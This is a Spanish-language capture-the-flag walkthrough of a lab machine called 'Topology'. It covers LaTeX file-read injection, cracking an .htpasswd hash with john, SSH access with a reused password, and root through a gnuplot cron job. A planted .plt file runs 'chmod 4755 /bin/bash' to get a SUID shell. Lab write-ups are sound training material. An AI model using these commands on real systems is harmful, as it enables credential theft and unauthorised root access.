Topology
5 minutos de lectura
root
está ejecutando scripts con gnuplot
periódicamente, lo que lleva a la escalada de privilegios- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.217
- Fecha: 10 / 06 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.217 -p 22,80
Nmap scan report for 10.10.11.217
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 53.77 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.217
, veremos esta página de un departamento de Matemáticas:
Aquí no hay nada útil salvo un enlace a “LaTeX Equation Generator”, que apunta a http://latex.topology.htb
. Después de configurar el dominio (topology.htb
) y el subdominio (latex.topology.htb
) en /etc/hosts
, tenemos esta herramienta:
Podemos generar hermosas fórmulas de LaTeX como esta (problema de Basilea):
Pero estamos aquí para comprometer la máquina.
Acceso a la máquina
De hecho, LaTeX es muy poderoso. Entre una de sus características, puede embeber archivos de texto arbitrarios en el archivo PDF o imagen generado (macros como \input
o \include
). Pero no va a ser tan fácil:
Si buscamos en HackTricks, veremos algunas alternativas para leer y escribir archivos e incluso ejecutar comandos. Sin embargo, ninguno de ellos es realmente útil (solo el titulado “Read single lined file” funciona).
Local File Read
Observe que el servidor se está ejecutando PHP (equation.php
), no LaTeX directamente. Para agregar fuentes matemáticas, necesitamos usar signos de apertura y cierre con $
. Podemos intentar usar otro comando que se muestra en HackTricks con los signos $
. Y funciona:
Con esto, tenemos una vulnerabilidad de lectura de archivos locales. Podemos usarla para enumerar el sistema de archivos siempre que conozcamos la ruta absoluta de un archivo. Por ejemplo, verifiquemos la configuración de páginas web del servidor Apache:
Hay dos subdominios que no sabíamos: dev.topology.htb
y stats.topology.htb
. El primero solicita la autenticación básica HTTP, mientras que el segundo parece inútil:
$ curl stats.topology.htb
<center>
<p><img src="files/network.png" /></p>
<p>---</p>
<p><img src="files/load.png" /></p>
</center>
Como sabemos que el servidor usa Apache y PHP, podemos suponer que hay un archivo .htaccess
en el directorio raíz de la web:
¡Ahí está! Y como esperábamos, hay un archivo .htpasswd
que contiene el usuario esperado y el hash de la contraseña:
Podemos usar john
y rockyou.txt
para romper el hash, ya que la contraseña es débil:
$ john --wordlist=$WORDLISTS/rockyou.txt <(echo '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0')
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20 (?)
1g 0:00:01:07 100% 0.01475g/s 14712p/s 14712c/s 14712C/s calculus20..calculos
Use the "--show" option to display all of the cracked passwords reliably
Session completed
En este punto, podemos acceder a dev.topology.htb
:
Pero este es solo un sitio web de cartera, no hay nada interesante aquí.
Enumeración del sistema
Las credenciales anteriores se reutilizan en SSH:
$ ssh vdaisley@topology.htb
vdaisley@topology.htb's password:
vdaisley@topology:~$ cat user.txt
65da7d62ba7f34b345fac7f7c3e0aefb
Después de una enumeración básica, podemos ejecutar pspy
para ver si root
está ejecutando comandos periódicamente. Y así es:
CMD: UID=0 PID=1 | /sbin/init
CMD: UID=0 PID=21666 | /bin/sh /opt/gnuplot/getdata.sh
CMD: UID=0 PID=21665 | /bin/sh -c /opt/gnuplot/getdata.sh
CMD: UID=0 PID=21664 | /usr/sbin/CRON -f
CMD: UID=0 PID=21663 | /usr/sbin/CRON -f
CMD: UID=0 PID=21670 | /bin/sh /opt/gnuplot/getdata.sh
CMD: UID=0 PID=21669 | tr -s
CMD: UID=0 PID=21668 | grep enp
CMD: UID=0 PID=21667 | netstat -i
CMD: UID=0 PID=21671 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
CMD: UID=0 PID=21673 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
CMD: UID=0 PID=21672 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
CMD: UID=0 PID=21677 | sed s/,//g
CMD: UID=0 PID=21676 | /bin/sh /opt/gnuplot/getdata.sh
CMD: UID=0 PID=21675 | /bin/sh /opt/gnuplot/getdata.sh
CMD: UID=0 PID=21674 | uptime
Se trata de algo relacionado con gnuplot
(que se usa para dibujar gráficas relacionadas con las Matemáticas). Como se puede observar, root
está ejecutando un script /opt/gnuplot/getdata.sh
. Tenemos permisos -wx
en el directorio gnuplot
:
vdaisley@topology:/tmp$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot
Esto significa que podemos crear archivos dentro de gnuplot
, pero no se nos permite modificar el script getdata.sh
(no sabemos sus permisos):
vdaisley@topology:/tmp$ echo 'chmod 4755 /bin/bash' > /opt/gnuplot/getdata.sh
-bash: /opt/gnuplot/getdata.sh: Operation not permitted
En lugar de modificar el script, debemos centrarnos en gnuplot
, ya que root
utiliza find
para obtener todos los archivos que terminan en .plt
y ejecutarlos con gnuplot
. Es fácil ejecutar un comando de sistema dentro de gnuplot
:
vdaisley@topology:/tmp$ gnuplot
G N U P L O T
Version 5.2 patchlevel 8 last modified 2019-12-01
Copyright (C) 1986-1993, 1998, 2004, 2007-2019
Thomas Williams, Colin Kelley and many others
gnuplot home: http://www.gnuplot.info
faq, bugs, etc: type "help FAQ"
immediate help: type "help" (plot window: hit 'h')
Terminal type is now 'unknown'
gnuplot> system("whoami")
vdaisley
gnuplot> exit
Por lo tanto, lo único que necesitamos es agregar un comando en un archivo que termine en .plt
y guardarlo en /opt/gnuplot
. Luego, root
lo ejecutará por nosotros. Por ejemplo, agreguemos permiso SUID a /bin/bash
:
vdaisley@topology:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
vdaisley@topology:/tmp$ echo 'system("chmod 4755 /bin/bash")' > /opt/gnuplot/rce.plt
Después de algún tiempo, /bin/bash
será un binario SUID, por lo que podemos ejecutarlo como root
y leer la flag root.txt
:
vdaisley@topology:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
vdaisley@topology:/tmp$ bash -p
bash-5.0# cat /root/root.txt
74738e12b202d411738873d8704ff64a